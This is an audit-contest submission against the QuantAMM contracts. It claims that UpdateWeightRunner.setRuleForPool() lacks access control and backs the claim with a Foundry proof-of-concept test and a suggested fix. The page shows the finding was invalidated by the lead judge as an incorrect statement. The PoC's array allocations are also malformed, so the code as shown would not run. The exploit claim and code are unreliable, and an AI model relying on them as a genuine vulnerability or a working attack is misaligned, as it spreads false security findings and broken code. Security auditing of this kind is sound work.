QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Invalid

Unrestricted rule setting allows unauthorized weight manipulation

Description

The UpdateWeightRunner.setRuleForPool() function lacks proper access control validation. The function uses msg.sender as the pool identifier but fails to verify that the caller is a legitimate pool contract or authorized controller. This allows any address to register arbitrary rules that control weight updates & pricing calculations.

Impact

Attackers can manipulate pool prices by registering malicious rules, leading to direct financial losses through incorrect asset pricing, with permanent DoS since rules cannot be changed once set.

Proof of Concept

Add testMaliciousSetRuleForPool test in pkg/pool-quantamm/test/foundry/UpdateWeightRunner.t.sol and run it ;)

function testMaliciousSetRuleForPool() public {
// Setup malicious components
MockIdentityRule maliciousRule = new MockIdentityRule();
MockChainlinkOracle maliciousOracle = new MockChainlinkOracle(1000, 0);
// Add oracle to pass validation
vm.startPrank(owner);
updateWeightRunner.addOracle(maliciousOracle);
vm.stopPrank();
// Attack from any address
vm.startPrank(address(0xBEEF));
address[][] memory oracles = new address[][]();
oracles[0] = new address[]();
oracles[0][0] = address(maliciousOracle);
// Successfully set malicious rule without authorization
updateWeightRunner.setRuleForPool(
IQuantAMMWeightedPool.PoolSettings({
assets: new IERC20[](0),
rule: maliciousRule,
oracles: oracles,
updateInterval: 1,
lambda: new uint64[](1),
epsilonMax: 0.2e18,
absoluteWeightGuardRail: 0.2e18,
maxTradeSizeRatio: 0.2e18,
ruleParameters: new int256[][](),
poolManager: address(0xBEEF)
})
);
// Confirm rule was registered
assertEq(address(updateWeightRunner.getPoolRule(address(0xBEEF))), address(maliciousRule));
}

Recommendation

Add proper authorization checks:

function setRuleForPool(IQuantAMMWeightedPool.PoolSettings memory _poolSettings) external {
// Verify caller is legitimate pool
require(IWeightedPool(msg.sender).getPoolId() != bytes32(0), "Not a valid pool");
// OR
require(poolRegistry[msg.sender].isValid, "Unauthorized pool");
require(address(rules[msg.sender]) == address(0), "Rule already set");
// ... rest of the function
}
Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.